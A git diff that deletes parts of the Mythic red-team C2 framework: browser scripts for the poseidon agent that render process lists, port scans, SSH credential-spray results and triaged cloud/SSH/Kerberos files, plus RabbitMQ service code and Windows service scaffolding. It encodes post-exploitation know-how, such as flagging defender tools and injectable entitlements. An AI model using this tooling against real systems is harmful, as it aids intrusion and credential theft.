diff --git a/Payload_Types/poseidon/mythic/browser_scripts/create_process_additional_info_modal.js b/Payload_Types/poseidon/mythic/browser_scripts/create_process_additional_info_modal.js
deleted file mode 100644
index ad5bfac65..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/create_process_additional_info_modal.js
+++ /dev/null
@@ -1,20 +0,0 @@
-function(uniqueName){
- let html = `
-
-
-`;
- return html;
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/create_table.js b/Payload_Types/poseidon/mythic/browser_scripts/create_table.js
deleted file mode 100644
index 46191f464..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/create_table.js
+++ /dev/null
@@ -1,22 +0,0 @@
-function(headers, data){
- let output = "";
- output += "";
- for(let i = 0; i < headers.length; i++){
- output += "" + headers[i]['name'].toUpperCase() + " ";
- }
- output += " ";
- for(let i = 0; i < data.length; i++){
- output += "";
- for(let j = 0; j < headers.length; j++){
- if(data[i]['cell-style'].hasOwnProperty(headers[j])){
- output += "" + data[i][headers[j]['name']] + " ";
- }
- else{
- output += "" + data[i][headers[j]['name']] + " ";
- }
- }
- output += " ";
- }
- output += "
";
- return output;
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/download.js b/Payload_Types/poseidon/mythic/browser_scripts/download.js
deleted file mode 100644
index 87a876bb7..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/download.js
+++ /dev/null
@@ -1 +0,0 @@
-function(task, responses){
if(responses.length === 2){
try{
var status = JSON.parse(responses[0]['response']);
}catch(error){
return JSON.stringify(JSON.parse(responses), null, 2);;
}
if(status.hasOwnProperty('id')){
return "Finished Downloading
" + escapeHTML(task['params']) + " . Click
here to download
";
}
}
return JSON.stringify(JSON.parse(responses), null, 2);
}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/file_size_to_human_readable_string.js b/Payload_Types/poseidon/mythic/browser_scripts/file_size_to_human_readable_string.js
deleted file mode 100644
index 763027863..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/file_size_to_human_readable_string.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function(fileSize){
- var thresh = 1024;
- if(Math.abs(fileSize) < thresh) {
- return fileSize + ' B';
- }
- var units = ['KB','MB','GB','TB','PB','EB','ZB','YB'];
- var u = -1;
- do {
- fileSize /= thresh;
- ++u;
- } while(Math.abs(fileSize) >= thresh && u < units.length - 1);
- return fileSize.toFixed(1)+' '+units[u];
- return output;
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/list_entitlements.js b/Payload_Types/poseidon/mythic/browser_scripts/list_entitlements.js
deleted file mode 100644
index a211f1543..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/list_entitlements.js
+++ /dev/null
@@ -1,33 +0,0 @@
-function(task, responses){
- try{
- let ent = JSON.parse(responses[0]['response']);
- let interesting = ["com.apple.security.cs.allow-jit",
- "com.apple.security.cs.allow-unsigned-executable-memory",
- "com.apple.security.cs.allow-dyld-environment-variables",
- "com.apple.security.cs.disable-library-validation",
- "com.apple.security.cs.disable-executable-page-protection",
- "com.apple.security.cs.debugger", "No Entitlements"];
- let dict = {};
- for(let i = 0; i < ent.length; i++){
- if(ent[i]['code_sign'].toString(16).substring(1,2) !== "6"){
- dict[ent[i]['process_id']] = {};
- dict[ent[i]['process_id']]['bin_path'] = ent[i]['bin_path'];
- dict[ent[i]['process_id']]['code_sign'] = "0x" + ent[i]['code_sign'].toString(16);
- try{
- for(let j = 0; j < interesting.length; j++){
- if(ent[i]['entitlements'].includes(interesting[j])){
- dict[ent[i]['process_id']]['entitlements'] = JSON.parse(ent[i]['entitlements']);
- break;
- }
- }
-
- }catch(err){
- dict[ent[i]['process_id']]['entitlements'] = ent[i]['entitlements'];
- }
- }
- }
- return "" + escapeHTML(JSON.stringify(dict, null, 6)) + " ";
- }catch(error){
- return "" + error.toString() + escapeHTML(JSON.stringify(responses, null, 6)) + " ";
- }
-}
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/ls.js b/Payload_Types/poseidon/mythic/browser_scripts/ls.js
deleted file mode 100644
index 6487e66ee..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/ls.js
+++ /dev/null
@@ -1,36 +0,0 @@
-function(task, responses){
- if(task.status === 'error'){
- return " Error: untoggle for error message(s) ";
- }else if(responses[0]['response'] === "added data to file browser"){
- return "added data to file browser ";
- }
- let rows = [];
- try{
- for(let i = 0; i < responses.length; i++){
- let data = JSON.parse(responses[i]['response']);
- let row_style = "";
- if( !data['is_file'] ){ row_style = "background-color: #5E28DC"}
- let row = {"name": escapeHTML(data['name']), "size": escapeHTML(data['size']), "row-style": row_style, "cell-style": {}};
- let perm_data = data['permissions'];
- row['permissions'] = escapeHTML(perm_data["permissions"]);
- rows.push(row);
- if(!data.hasOwnProperty('files')){data['files'] = []}
- data['files'].forEach(function(r){
- let row_style = "";
- if( !r['is_file'] ){ row_style = "background-color: #5E28DC"}
- let row = {"name": escapeHTML(r['name']), "size": escapeHTML(r['size']), "row-style": row_style, "cell-style": {}};
- let perm_data = r['permissions'];
- perm_data = data['permissions'];
- row['permissions'] = escapeHTML(perm_data["permissions"]);
- rows.push(row);
- });
- }
- return support_scripts['poseidon_create_table']([
- {"name":"name", "size":"10em"},
- {"name":"size", "size":"2em"},
- {"name":"permissions","size":"3em"}], rows);
- }catch(error){
- console.log(error);
- return " Error: untoggle for error message(s) ";
- }
-}
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/portscan.js b/Payload_Types/poseidon/mythic/browser_scripts/portscan.js
deleted file mode 100644
index 9ad2c99bb..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/portscan.js
+++ /dev/null
@@ -1 +0,0 @@
-function(task, response) {
const capitalize = (s) => {
if (typeof s !== 'string') return ''
return s.charAt(0).toUpperCase() + s.slice(1)
};
let total_output = "";
let total_results = "";
for (let i = 0; i < response.length; i++) {
try {
total_results += response[i]["response"];
} catch (error) {
return response;
}
}
let data = JSON.parse(total_results);
for (let i = 0; i < data.length; i++) {
let output = "";
let rows = [];
let addedHeader = false;
let headerDiv = '' + escapeHTML(data[i]["range"]) + '
';
for (let j = 0; j < data[i]["hosts"].length; j++) {
if (data[i]["hosts"][j]["open_ports"] != null) {
if (!addedHeader) {
output += headerDiv;
addedHeader = true;
}
let host = data[i]["hosts"][j];
rows.push({
"Open Ports": escapeHTML(host["open_ports"].join(", ")),
"Host": escapeHTML(host["pretty_name"]),
"row-style": "",
"cell-style": {}
});
}
}
if (rows.length !== 0) {
output += support_scripts['poseidon_create_table']([{
"name": "Open Ports",
"size": "1em"
}, {
"name": "Host",
"size": "1em"
}], rows);
output += " ";
total_output += output;
}
}
return total_output;
}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/ps.js b/Payload_Types/poseidon/mythic/browser_scripts/ps.js
deleted file mode 100644
index 1acec8133..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/ps.js
+++ /dev/null
@@ -1,40 +0,0 @@
-function(task, response){
- let rows = [];
- let uniqueName = task.id + "_additional_process_info_modal";
- for(let i = 0; i < response.length; i++){
- try{
- var data = JSON.parse(response[i]['response']);
- }catch(error){
- return escapeHTML(response);
- }
- data.forEach(function(r){
- let row_style = "";
- if(r['name'].includes("Little Snitch")){
- row_style = "background-color:indianred;color:black;";
- }else if(r['bundleid'].includes("objective-see")){
- row_style = "background-color:indianred;color:black;";
- }
- let additionalInfo = "" + escapeHTML(JSON.stringify(r, null, 2)) + ' ';
- rows.push({"pid": escapeHTML(r['process_id']),
- "ppid": escapeHTML(r['parent_process_id']),
- "path": escapeHTML(r['bin_path']),
- "user": escapeHTML(r['user']),
- "name": escapeHTML(r['name']),
- "metadata": ' ',
- "row-style": row_style,
- "cell-style": {}
- });
- });
- }
- let output = support_scripts['poseidon_create_process_additional_info_modal'](escapeHTML(uniqueName));
- output += support_scripts['poseidon_create_table'](
- [
- {"name":"pid", "size":"3em"},
- {"name":"pid", "size":"3em"},
- {"name": "name", "size": "10rem"},
- {"name": "user", "size": "10em"},
- {"name": "metadata", "size": "5rem"},
- {"name":"path", "size":""}
- ], rows);
- return output;
-}
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/screencapture.js b/Payload_Types/poseidon/mythic/browser_scripts/screencapture.js
deleted file mode 100644
index cc7aed093..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/screencapture.js
+++ /dev/null
@@ -1,17 +0,0 @@
-function(task, responses){
- if(task.status === 'error'){return " Error: Untoggle swtich to see error message(s) "; }
- let output = "";
- for(let i = 0; i < responses.length; i+=2){
- if( i+1 < responses.length){
- //only want to do this if the next response exists, i.e. file_downloaded
- let status = JSON.parse(responses[i]['response']);
- let id = status['agent_file_id'];
- output += "";
- }else{
- output += " downloading pieces ... ";
- }
- }
- return output;
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/show_process_additional_info_modal.js b/Payload_Types/poseidon/mythic/browser_scripts/show_process_additional_info_modal.js
deleted file mode 100644
index 645c8febd..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/show_process_additional_info_modal.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function(elem){
- var uniqueName = elem.getAttribute("modal-name");
- var content = elem.getAttribute("additional-info");
- var uniqueNameId = '#' + uniqueName;
- var modalBody = uniqueNameId + '_body';
- $(modalBody).html(content);
- $(modalBody + ' > pre:last').css("word-wrap", "break-word");
- $(modalBody + ' > pre:last').css("white-space", "pre-wrap");
- $(uniqueNameId).modal('show');
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/sshauth.js b/Payload_Types/poseidon/mythic/browser_scripts/sshauth.js
deleted file mode 100644
index 5cdce89df..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/sshauth.js
+++ /dev/null
@@ -1 +0,0 @@
-function(task, response) {
const capitalize = (s) => {
if (typeof s !== 'string') return ''
return s.charAt(0).toUpperCase() + s.slice(1)
};
let total_output = "";
let total_results = "";
for (let i = 0; i < response.length; i++) {
try {
total_results += response[i]["response"];
} catch (error) {
return response;
}
}
let data = JSON.parse(total_results);
let output = "";
let rows = [];
for (let i = 0; i < data.length; i++) {
let row_style = "";
if (data[i]["success"]) {
row_style = "background-color: #008000;"
}
rows.push({
"Host": escapeHTML(data[i]["host"]),
"Username": escapeHTML(data[i]["username"]),
"Secret": escapeHTML(data[i]["secret"]),
"Success": escapeHTML(data[i]["success"]),
"Output": "" + escapeHTML(data[i]["output"]) + " ",
"Copy_Status": escapeHTML(data[i]['copy_status']),
"row-style": row_style,
"cell-style": {}
});
}
output += support_scripts['poseidon_create_table']([{
"name": "Host",
"size": "4em"
}, {
"name": "Username",
"size": "4em"
}, {
"name": "Secret",
"size": "4em"
}, {
"name": "Success",
"size": "1em"
}, {
"name": "Output",
"size": "10em"
}, {
"name": "Copy_Status",
"size": "2em"
}], rows);
total_output += output;
return total_output;
}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/mythic/browser_scripts/triagedirectory.js b/Payload_Types/poseidon/mythic/browser_scripts/triagedirectory.js
deleted file mode 100644
index 850e2da0a..000000000
--- a/Payload_Types/poseidon/mythic/browser_scripts/triagedirectory.js
+++ /dev/null
@@ -1 +0,0 @@
-function(task, response){
const capitalize = (s) => {
if (typeof s !== 'string') return ''
return s.charAt(0).toUpperCase() + s.slice(1)
};
let total_output = "";
let total_results = "";
for(let i = 0; i < response.length; i++){
try{
total_results += response[i]["response"];
}catch(error){
return response;
}
}
let data = JSON.parse(total_results);
let keys = ["azure_files", "aws_files", "ssh_files", "kerberos_tickets", "history_files", "log_files", "shellscript_files", "yaml_files", "conf_files", "csv_files", "db_files", "mysql_confs", "interesting_files"];
for (let i = 0; i < keys.length; i++) {
if (data[keys[i]] != null) {
var output = "";
var rows = []
var title_parts = keys[i].split("_");
title_parts[0] = capitalize(title_parts[0]);
title_parts[1] = capitalize(title_parts[1]);
let title = escapeHTML(title_parts.join(" "));
if (i < 4) {
output += '' + title + '
';
} else {
output += '' + title + '
';
}
data[keys[i]].forEach(function(r){
let row_style = "";
if(r['is_dir']){row_style="background-color: #008080;"}
rows.push({"name": escapeHTML(r['name']),
"path": escapeHTML(r["path"]),
"size": escapeHTML(r['size']),
"mode": escapeHTML(r['mode']),
"modification_time": escapeHTML(r['modification_time']),
"row-style": row_style,
"cell-style": {}
});
});
output += support_scripts['poseidon_create_table']([{"name":"name", "size":"1em"},{"name":"path", "size":"1em"}, {"name":"size", "size":"1em"},{"name":"mode","size":"1em"} ,{"name": "modification_time", "size": "1em"}], rows);
total_output += output;
}
}
return total_output;
}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/mythic/generate_docs_from_container.py b/Payload_Types/poseidon/mythic/generate_docs_from_container.py
deleted file mode 100644
index 625847cc1..000000000
--- a/Payload_Types/poseidon/mythic/generate_docs_from_container.py
+++ /dev/null
@@ -1,197 +0,0 @@
-#! /usr/env python3
-
-import sys
-import pathlib
-from importlib import import_module
-from CommandBase import *
-from PayloadBuilder import *
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + pathlib.Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-root = pathlib.Path(".")
-import_all_agent_functions()
-commands = []
-payload_type = {}
-for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=root).to_json()
- break
-for cls in CommandBase.__subclasses__():
- commands.append(cls(root).to_json())
-payload_type["commands"] = commands
-
-# now generate the docs
-root_home = root / payload_type["ptype"]
-if not root_home.exists():
- root_home.mkdir()
-if not (root_home / "c2_profiles").exists():
- (root_home / "c2_profiles").mkdir()
-if not (root_home / "commands").exists():
- (root_home / "commands").mkdir()
-# now to generate files
-with open(root_home / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "{payload_type['ptype']}"
-chapter = false
-weight = 5
-+++
-
-## Summary
-
-Overview
-
-### Highlighted Agent Features
-list of info here
-
-## Authors
-list of authors
-
-### Special Thanks to These Contributors
-list of contributors
-"""
- )
-with open(root_home / "c2_profiles" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "C2 Profiles"
-chapter = true
-weight = 25
-pre = "4. "
-+++
-
-# Supported C2 Profiles
-
-This section goes into any `{payload_type['ptype']}` specifics for the supported C2 profiles.
-"""
- )
-with open(root_home / "development.md", "w") as f:
- f.write(
- f"""+++
-title = "Development"
-chapter = false
-weight = 20
-pre = "3. "
-+++
-
-## Development Environment
-
-Info for ideal dev environment or requirements to set up environment here
-
-## Adding Commands
-
-Info for how to add commands
-- Where code for commands is located
-- Any classes to call out
-
-## Adding C2 Profiles
-
-Info for how to add c2 profiles
-- Where code for editing/adding c2 profiles is located
-"""
- )
-with open(root_home / "opsec.md", "w") as f:
- f.write(
- f"""+++
-title = "OPSEC"
-chapter = false
-weight = 10
-pre = "1. "
-+++
-
-## Considerations
-Info here
-
-### Post-Exploitation Jobs
-Info here
-
-### Remote Process Injection
-Info here
-
-### Process Execution
-Info here"""
- )
-with open(root_home / "commands" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "Commands"
-chapter = true
-weight = 15
-pre = "2. "
-+++
-
-# {payload_type['ptype']} Command Reference
-These pages provide in-depth documentation and code samples for the `{payload_type['ptype']}` commands.
-"""
- )
-payload_type["commands"] = sorted(payload_type["commands"], key=lambda i: i["cmd"])
-for i in range(len(payload_type["commands"])):
- c = payload_type["commands"][i]
- cmd_file = c["cmd"] + ".md"
- with open(root_home / "commands" / cmd_file, "w") as f:
- f.write(
- f"""+++
-title = "{c['cmd']}"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-{c['description']}
-- Needs Admin: {c['needs_admin']}
-- Version: {c['version']}
-- Author: {c['author']}
-
-### Arguments
-
-"""
- )
- for a in c["parameters"]:
- f.write(
- f"""#### {a['name']}
-
-- Description: {a['description']}
-- Required Value: {a['required']}
-- Default Value: {a['default_value']}
-
-"""
- )
- f.write(
- f"""## Usage
-
-```
-{c['help_cmd']}
-```
-
-"""
- )
- if len(c["attack"]) > 0:
- f.write(
- f"""## MITRE ATT&CK Mapping
-"""
- )
- for a in c["attack"]:
- f.write(
- f"""
-- {a['t_num']} """
- )
-
- f.write(
- f"""
-## Detailed Summary
-
-"""
- )
diff --git a/Payload_Types/poseidon/mythic/mythic_service.py b/Payload_Types/poseidon/mythic/mythic_service.py
deleted file mode 100755
index 8c4ee8460..000000000
--- a/Payload_Types/poseidon/mythic/mythic_service.py
+++ /dev/null
@@ -1,308 +0,0 @@
-#!/usr/bin/env python3
-import aio_pika
-import os
-import sys
-import traceback
-import base64
-import json
-import asyncio
-import socket
-from CommandBase import *
-from PayloadBuilder import *
-from pathlib import Path
-from importlib import import_module, invalidate_caches
-
-# set the global hostname variable
-hostname = ""
-output = ""
-exchange = None
-container_files_path = ""
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- invalidate_caches()
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-async def send_status(message="", command="", status="", username=""):
- global exchange
- # status is success or error
- try:
- message_body = aio_pika.Message(message.encode())
- # Sending the message
- await exchange.publish(
- message_body,
- routing_key="pt.status.{}.{}.{}.{}".format(
- hostname, command, status, username
- ),
- )
- except Exception as e:
- print("Exception in send_status: {}".format(str(e)))
-
-
-async def callback(message: aio_pika.IncomingMessage):
- global hostname
- global container_files_path
- with message.process():
- # messages of the form: pt.task.PAYLOAD_TYPE.command
- pieces = message.routing_key.split(".")
- command = pieces[3]
- username = pieces[4]
- if command == "create_payload_with_code":
- try:
- # pt.task.PAYLOAD_TYPE.create_payload_with_code.UUID
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- # go through all the data from rabbitmq to make the proper classes
- c2info_list = []
- for c2 in message_json["c2_profile_parameters"]:
- params = c2.pop("parameters", None)
- c2info_list.append(
- C2ProfileParameters(parameters=params, c2profile=c2)
- )
- commands = CommandList(message_json["commands"])
- for cls in PayloadType.__subclasses__():
- agent_builder = cls(
- uuid=message_json["uuid"],
- agent_code_path=Path(container_files_path),
- c2info=c2info_list,
- commands=commands,
- wrapped_payload=message_json["wrapped_payload"],
- )
- try:
- await agent_builder.set_and_validate_build_parameters(
- message_json["build_parameters"]
- )
- build_resp = await agent_builder.build()
- except Exception as b:
- resp_message = {
- "status": "error",
- "message": "Error in agent creation: "
- + str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- return
- # we want to capture the build message as build_resp.get_message()
- # we also want to capture the final values the agent used for creating the payload, so collect them
- build_instances = agent_builder.get_build_instance_values()
- resp_message = {
- "status": build_resp.get_status().value,
- "message": build_resp.get_message(),
- "build_parameter_instances": build_instances,
- "payload": base64.b64encode(build_resp.get_payload()).decode(
- "utf-8"
- ),
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
-
- except Exception as e:
- resp_message = {
- "status": "error",
- "message": str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- elif command == "command_transform":
- try:
- # pt.task.PAYLOAD_TYPE.command_transform.taskID
-
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- final_task = None
- for cls in CommandBase.__subclasses__():
- if getattr(cls, "cmd") == message_json["command"]:
- Command = cls(Path(container_files_path))
- task = MythicTask(
- message_json["task"],
- args=Command.argument_class(message_json["params"]),
- )
- await task.args.parse_arguments()
- await task.args.verify_required_args_have_values()
- final_task = await Command.create_tasking(task)
- await send_status(
- str(final_task),
- "command_transform",
- "{}.{}".format(final_task.status.value, pieces[4]),
- username,
- )
- break
- if final_task is None:
- await send_status(
- "Failed to find class where command_name = "
- + message_json["command"],
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- except Exception as e:
- await send_status(
- "[-] Mythic error while creating/running create_tasking: \n"
- + str(e),
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- return
- elif command == "sync_classes":
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(
- agent_code_path=Path(container_files_path)
- ).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(
- json.dumps(payload_type), "sync_classes", "success", username
- )
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error.{}".format(pieces[4]),
- username,
- )
- else:
- print("Unknown command: {}".format(command))
-
-
-async def sync_classes():
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=Path(container_files_path)).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(json.dumps(payload_type), "sync_classes", "success", "")
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error",
- "",
- )
- sys.exit(1)
-
-
-async def heartbeat():
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- while True:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- channel = await connection.channel()
- # declare our heartbeat exchange that everybody will publish to, but only the mythic server will are about
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- except Exception as e:
- print(str(e))
- await asyncio.sleep(2)
- continue
- while True:
- try:
- # routing key is ignored for fanout, it'll go to anybody that's listening, which will only be the server
- await exchange.publish(
- aio_pika.Message("heartbeat".encode()),
- routing_key="pt.heartbeat.{}".format(hostname),
- )
- await asyncio.sleep(10)
- except Exception as e:
- print(str(e))
- # if we get an exception here, break out to the bigger loop and try to connect again
- break
-
-
-async def mythic_service():
- global hostname
- global exchange
- global container_files_path
- connection = None
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- container_files_path = os.path.abspath(main_config["container_files_path"])
- if not os.path.exists(container_files_path):
- os.makedirs(container_files_path)
- while connection is None:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- except Exception as e:
- await asyncio.sleep(1)
- try:
- channel = await connection.channel()
- # declare our exchange
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- # get a random queue that only the mythic server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("", exclusive=True)
- # bind the queue to the exchange so we can actually catch messages
- await queue.bind(
- exchange="mythic_traffic", routing_key="pt.task.{}.#".format(hostname)
- )
- # just want to handle one message at a time so we can clean up and be ready
- await channel.set_qos(prefetch_count=100)
- print(" [*] Waiting for messages in mythic_service.")
- task = queue.consume(callback)
- await sync_classes()
- result = await asyncio.wait_for(task, None)
- except Exception as e:
- print(str(e))
-
-
-# start our service
-loop = asyncio.get_event_loop()
-asyncio.gather(heartbeat(), mythic_service())
-loop.run_forever()
diff --git a/Payload_Types/poseidon/mythic/payload_service.sh b/Payload_Types/poseidon/mythic/payload_service.sh
deleted file mode 100755
index e5c93b3c6..000000000
--- a/Payload_Types/poseidon/mythic/payload_service.sh
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/bin/bash
-
-cd /Mythic/mythic
-
-export PYTHONPATH=/Mythic:/Mythic/mythic
-
-python3 mythic_service.py
diff --git a/Payload_Types/poseidon/mythic/rabbitmq_config.json b/Payload_Types/poseidon/mythic/rabbitmq_config.json
deleted file mode 100755
index 08581c01a..000000000
--- a/Payload_Types/poseidon/mythic/rabbitmq_config.json
+++ /dev/null
@@ -1,8 +0,0 @@
-{
- "username": "mythic_user",
- "password": "mythic_password",
- "virtual_host": "mythic_vhost",
- "host": "127.0.0.1",
- "name": "hostname",
- "container_files_path": "/Mythic/"
-}
\ No newline at end of file
diff --git a/Payload_Types/service_wrapper/Dockerfile b/Payload_Types/service_wrapper/Dockerfile
deleted file mode 100644
index fbe17663c..000000000
--- a/Payload_Types/service_wrapper/Dockerfile
+++ /dev/null
@@ -1 +0,0 @@
-From itsafeaturemythic/csharp_payload:0.0.6
\ No newline at end of file
diff --git a/Payload_Types/service_wrapper/agent_code/WindowsService1.sln b/Payload_Types/service_wrapper/agent_code/WindowsService1.sln
deleted file mode 100755
index fce8258aa..000000000
--- a/Payload_Types/service_wrapper/agent_code/WindowsService1.sln
+++ /dev/null
@@ -1,28 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio Version 16
-VisualStudioVersion = 16.0.30011.22
-MinimumVisualStudioVersion = 10.0.40219.1
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsService1", "WindowsService1\WindowsService1.csproj", "{0405205C-C2A0-4F9A-A221-48B5C70DF3B6}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- Release|x64 = Release|x64
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|Any CPU.Build.0 = Release|Any CPU
- {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|x64.ActiveCfg = Release|x64
- {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|x64.Build.0 = Release|x64
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
- GlobalSection(ExtensibilityGlobals) = postSolution
- SolutionGuid = {C5331E46-D53B-4B47-942A-343CB750F8BB}
- EndGlobalSection
-EndGlobal
diff --git a/Payload_Types/service_wrapper/agent_code/WindowsService1/Program.cs b/Payload_Types/service_wrapper/agent_code/WindowsService1/Program.cs
deleted file mode 100755
index 0b9c349ea..000000000
--- a/Payload_Types/service_wrapper/agent_code/WindowsService1/Program.cs
+++ /dev/null
@@ -1,24 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.ServiceProcess;
-using System.Text;
-
-namespace WindowsService1
-{
- static class Program
- {
- ///
- /// The main entry point for the application.
- ///
- static void Main()
- {
- ServiceBase[] ServicesToRun;
- ServicesToRun = new ServiceBase[]
- {
- new Service1()
- };
- ServiceBase.Run(ServicesToRun);
- }
- }
-}
diff --git a/Payload_Types/service_wrapper/agent_code/WindowsService1/Properties/AssemblyInfo.cs b/Payload_Types/service_wrapper/agent_code/WindowsService1/Properties/AssemblyInfo.cs
deleted file mode 100755
index 5de442a68..000000000
--- a/Payload_Types/service_wrapper/agent_code/WindowsService1/Properties/AssemblyInfo.cs
+++ /dev/null
@@ -1,36 +0,0 @@
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-// General Information about an assembly is controlled through the following
-// set of attributes. Change these attribute values to modify the information
-// associated with an assembly.
-[assembly: AssemblyTitle("WindowsService1")]
-[assembly: AssemblyDescription("")]
-[assembly: AssemblyConfiguration("")]
-[assembly: AssemblyCompany("")]
-[assembly: AssemblyProduct("WindowsService1")]
-[assembly: AssemblyCopyright("Copyright © 2020")]
-[assembly: AssemblyTrademark("")]
-[assembly: AssemblyCulture("")]
-
-// Setting ComVisible to false makes the types in this assembly not visible
-// to COM components. If you need to access a type in this assembly from
-// COM, set the ComVisible attribute to true on that type.
-[assembly: ComVisible(false)]
-
-// The following GUID is for the ID of the typelib if this project is exposed to COM
-[assembly: Guid("0405205c-c2a0-4f9a-a221-48b5c70df3b6")]
-
-// Version information for an assembly consists of the following four values:
-//
-// Major Version
-// Minor Version
-// Build Number
-// Revision
-//
-// You can specify all the values or you can default the Build and Revision Numbers
-// by using the '*' as shown below:
-// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("1.0.0.0")]
-[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/Payload_Types/service_wrapper/agent_code/WindowsService1/Properties/Resources.Designer.cs b/Payload_Types/service_wrapper/agent_code/WindowsService1/Properties/Resources.Designer.cs
deleted file mode 100755
index 48159a95d..000000000
--- a/Payload_Types/service_wrapper/agent_code/WindowsService1/Properties/Resources.Designer.cs
+++ /dev/null
@@ -1,73 +0,0 @@
-//------------------------------------------------------------------------------
-//
-// This code was generated by a tool.
-// Runtime Version:4.0.30319.42000
-//
-// Changes to this file may cause incorrect behavior and will be lost if
-// the code is regenerated.
-//
